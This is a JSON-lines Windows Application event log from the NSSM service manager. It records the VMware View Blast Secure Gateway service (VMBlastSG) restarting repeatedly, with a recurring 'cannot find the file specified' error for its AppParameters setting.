{"@timestamp":1646779381353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163546}}
{"@timestamp":1646779381354,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163547}}
{"@timestamp":1646779509871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163548}}
{"@timestamp":1646779509872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163549}}
{"@timestamp":1646779509873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159436","0"]}}},"module":"Application","provider":"nssm","sequence":163550}}
{"@timestamp":1646779509873,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159436","159436","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163551}}
{"@timestamp":1646779509891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163552}}
{"@timestamp":1646779509891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163553}}
{"@timestamp":1646779509892,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163554}}
{"@timestamp":1646779509893,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163555}}
{"@timestamp":1646779638389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163556}}
{"@timestamp":1646779638390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163557}}
{"@timestamp":1646779638392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160600","0"]}}},"module":"Application","provider":"nssm","sequence":163558}}
{"@timestamp":1646779638393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160600","160600","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163559}}
{"@timestamp":1646779638410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163560}}
{"@timestamp":1646779638411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163561}}
{"@timestamp":1646779638412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163562}}
{"@timestamp":1646779638413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163563}}
{"@timestamp":1646779767119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163564}}
{"@timestamp":1646779767120,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163565}}
{"@timestamp":1646779767121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159936","0"]}}},"module":"Application","provider":"nssm","sequence":163566}}
{"@timestamp":1646779767122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159936","159936","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163567}}
{"@timestamp":1646779767138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163568}}
{"@timestamp":1646779767139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163569}}
{"@timestamp":1646779767139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163570}}
{"@timestamp":1646779767140,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163571}}
{"@timestamp":1646779895614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163572}}
{"@timestamp":1646779895616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163573}}
{"@timestamp":1646779895617,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157808","0"]}}},"module":"Application","provider":"nssm","sequence":163574}}
{"@timestamp":1646779895618,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157808","157808","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163575}}
{"@timestamp":1646779895634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163576}}
{"@timestamp":1646779895635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163577}}
{"@timestamp":1646779895635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163578}}
{"@timestamp":1646779895636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163579}}
{"@timestamp":1646780024126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163580}}
{"@timestamp":1646780024127,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163581}}
{"@timestamp":1646780024128,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159168","0"]}}},"module":"Application","provider":"nssm","sequence":163582}}
{"@timestamp":1646780024129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159168","159168","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163583}}
{"@timestamp":1646780024148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163584}}
{"@timestamp":1646780024149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163585}}
{"@timestamp":1646780024149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163586}}
{"@timestamp":1646780024150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163587}}
{"@timestamp":1646780153052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163588}}
{"@timestamp":1646780153053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163589}}
{"@timestamp":1646780153053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159792","0"]}}},"module":"Application","provider":"nssm","sequence":163590}}
{"@timestamp":1646780153054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159792","159792","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163591}}
{"@timestamp":1646780153079,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163592}}
{"@timestamp":1646780153080,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163593}}
{"@timestamp":1646780153081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163594}}
{"@timestamp":1646780153083,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163595}}
{"@timestamp":1646780281580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163596}}
{"@timestamp":1646780281580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163597}}
{"@timestamp":1646780281581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160628","0"]}}},"module":"Application","provider":"nssm","sequence":163598}}
{"@timestamp":1646780281582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160628","160628","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163599}}
{"@timestamp":1646780281599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163600}}
{"@timestamp":1646780281600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163601}}
{"@timestamp":1646780281600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163602}}
{"@timestamp":1646780281601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163603}}
{"@timestamp":1646780410087,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163604}}
{"@timestamp":1646780410089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163605}}
{"@timestamp":1646780410090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160500","0"]}}},"module":"Application","provider":"nssm","sequence":163606}}
{"@timestamp":1646780410091,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160500","160500","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163607}}
{"@timestamp":1646780410108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163608}}
{"@timestamp":1646780410109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163609}}
{"@timestamp":1646780410109,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163610}}
{"@timestamp":1646780410110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163611}}
{"@timestamp":1646780538609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163612}}
{"@timestamp":1646780538610,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163613}}
{"@timestamp":1646780538611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160652","0"]}}},"module":"Application","provider":"nssm","sequence":163614}}
{"@timestamp":1646780538611,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160652","160652","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163615}}
{"@timestamp":1646780538629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163616}}
{"@timestamp":1646780538629,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163617}}
{"@timestamp":1646780538630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163618}}
{"@timestamp":1646780538630,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163619}}
{"@timestamp":1646780667233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163620}}
{"@timestamp":1646780667234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163621}}
{"@timestamp":1646780667234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159364","0"]}}},"module":"Application","provider":"nssm","sequence":163622}}
{"@timestamp":1646780667234,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159364","159364","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163623}}
{"@timestamp":1646780667254,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160672","0"]}}},"module":"Application","provider":"nssm","sequence":163624}}
{"@timestamp":1646780667255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160672","159364","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163625}}
{"@timestamp":1646780667271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163626}}
{"@timestamp":1646780667272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163627}}
{"@timestamp":1646780667272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163628}}
{"@timestamp":1646780667273,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163629}}
{"@timestamp":1646780795773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163630}}
{"@timestamp":1646780795777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163631}}
{"@timestamp":1646780795777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160604","0"]}}},"module":"Application","provider":"nssm","sequence":163632}}
{"@timestamp":1646780795778,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160604","160604","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163633}}
{"@timestamp":1646780795794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163634}}
{"@timestamp":1646780795795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163635}}
{"@timestamp":1646780795795,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163636}}
{"@timestamp":1646780795796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163637}}
{"@timestamp":1646780924403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163638}}
{"@timestamp":1646780924405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163639}}
{"@timestamp":1646780924405,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160172","0"]}}},"module":"Application","provider":"nssm","sequence":163640}}
{"@timestamp":1646780924406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160172","160172","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163641}}
{"@timestamp":1646780924423,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163642}}
{"@timestamp":1646780924424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":163643}}
{"@timestamp":1646780924424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163644}}
{"@timestamp":1646780924425,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":163645}}
{"@timestamp":1646781052922,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":163646}}
{"@timestamp":1646781052924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":163647}}
{"@timestamp":1646781052925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157636","0"]}}},"module":"Application","provider":"nssm","sequence":163648}}
{"@timestamp":1646781052925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157636","157636","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":163649}}
{"@timestamp":1646781052943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":163650}}
